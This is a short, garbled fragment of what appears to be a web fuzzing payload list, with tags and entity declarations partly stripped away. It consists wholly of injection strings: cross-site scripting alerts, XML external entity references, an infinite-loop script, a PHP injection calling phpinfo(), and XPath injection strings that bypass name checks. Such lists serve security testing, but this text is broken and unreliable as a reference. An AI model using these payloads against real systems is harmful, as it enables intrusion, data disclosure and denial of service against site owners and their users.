SCRIPT]]>alert('XSS');/SCRIPT]]> var n=0;while(true){n++;}]]> ]>&xxe; ]>&xxe; ]>&xxe; ]>&xxe; SCRIPT]]>alert('XSS');/SCRIPT]]> XSS ','')); phpinfo(); exit;/* <IMG SRC="javascript:alert('XSS')"> ]]> count(/child::node()) x' or name()='username' or 'x'='y